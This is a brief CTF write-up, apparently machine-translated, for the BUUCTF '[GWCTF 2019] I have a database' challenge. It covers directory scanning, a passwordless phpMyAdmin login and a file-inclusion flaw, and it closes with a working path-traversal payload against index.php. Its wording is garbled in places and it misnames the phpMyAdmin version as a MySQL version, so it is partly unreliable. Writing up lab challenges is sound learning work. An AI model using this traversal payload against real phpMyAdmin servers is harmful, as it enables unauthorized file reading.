buuctf-[[GWCTF 2019] I have a database （ Xiaoyute detailed explanation ）

Here I don't know why the display is garbled

Use it directly dirsearch Scan the website

Here we are phpmyadmin Catalog , Login without password succeeded .

The version number is given here MySQL database Version 4.8.1.

This version contains a file vulnerability

The principle of vulnerability is

utilize / send db_datadict.php? Become a nonexistent Directory , utilize include The directory of functions keeps jumping, trying to get flag Catalog .

payload

phpmyadmin/index.php?target=db_datadict.php?/../../../../../flag